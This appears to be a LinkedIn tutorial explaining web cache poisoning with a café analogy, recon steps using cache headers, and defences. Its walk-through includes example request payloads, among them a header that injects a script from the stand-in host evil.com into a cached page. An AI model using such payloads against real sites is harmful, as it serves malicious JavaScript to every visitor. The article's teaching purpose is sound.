| “One poisoned latte, and suddenly everyone in the café is drinking malware.” | LinkedIn
Press enter or click to view image in full size
Imagine you’re at your favorite coffee shop. The barista knows your “usual” and proudly serves it to anyone who looks like they might like it. One day, a prankster comes in early and says:
“Yeah, Alex likes their latte with pickle juice and soy sauce.”
Now the barista writes that down and serves it to everyone for the rest of the morning.
That’s web cache poisoning — except instead of bad coffee, it’s malicious JavaScript, phishing redirects, and security nightmares.
What is Web Cache Poisoning?
Definition: It’s when an attacker tricks a web cache into storing a malicious version of a resource from your vulnerable app, and that poisoned copy is then served to every visitor until the cache expires or is purged.
Think of it as the ultimate “spray and pray” — no need to attack each victim individually. Just poison once, and let the cache happily amplify the damage.
What is a Web Cache?
In human terms:
A web cache is a glorified fridge for server responses. If the origin server serves the same “dish” repeatedly, the cache stores it and hands it out directly — saving time and kitchen effort.
Types:
- CDN cache: Cloudflare, Akamai, Fastly, etc. (worldwide baristas)
- Reverse proxy cache: nginx, Varnish, Squid (local cafe staff)
- Browser cache: the mini-fridge on the customer’s desk
No matter the flavor, caches work on the same principle:
Same request → same key → same stored response.
Key Headers to Watch (Your Cache Weather Report)
When you’re testing, these headers are your spyglass:
- Cache-Control
- Age
- Expires
- Via
- X-Cache
- Etag
Practical Recon Steps (Like a Cache Detective)
Step 1: Send a request with a harmless payload.
Look for:
Cache-Control: public
X-Cache: MISS
Age: 0
Step 2: Send the same request again.
If you see:
X-Cache: HIT
Age: >0
… congratulations — you’re talking to a cache that remembers things.
Step 3: Slip in unkeyed parameters or headers (stuff the cache ignores but the app uses):
Accept-Language: en
Accept-Language: zz
X-Forwarded-Host: evil.com
Step 4: Look for reflection — if your test value shows up in the HTML or headers and it’s cacheable… you’ve got a live one.
Example Attack Walk-through
Innocent first request:
GET /?lang=en HTTP/1.1
Host: victim.com
Accept-Language: en
Response:
Cache-Control: public, max-age=600
X-Cache: MISS
Age: 0
Second request (same payload):
X-Cache: HIT
Age: 12
The page is cached for 600 seconds.
Now the poison:
GET /?lang=en HTTP/1.1
Host: victim.com
Accept-Language: en"><script src=//evil.com/x.js></script>
If the origin reflects this into HTML, the cache stores a JavaScript booby trap for 600 seconds — every visitor loads it.
How to Identify a Vulnerability
- Find unkeyed input
- Change a header or param that shouldn’t affect the page.
- If it’s ignored in the cache key but changes output — suspicious.
- Check for reflection
- Inject a unique string like
cachepwn123
. - If it comes back in HTML or headers, it’s influenceable.
- Confirm cache storage
- Hit the same URL again from a different session/IP.
- If the poisoned value appears, cache poisoning is confirmed.
Why It’s Dangerous
- Stored XSS for thousands without user interaction
- Mass phishing hosted on the real domain
- Brand defacement in seconds
- Redirect everyone to attacker-controlled sites
Defending Against Cache Poisoning
- At the app: Never trust request headers for content generation unless validated; set
Cache-Control: private, no-store
for personalized responses; whitelist what can appear in absolute URLs. - At the cache/CDN: Define exact cache key; strip untrusted headers; normalize URL paths; ignore unknown query params.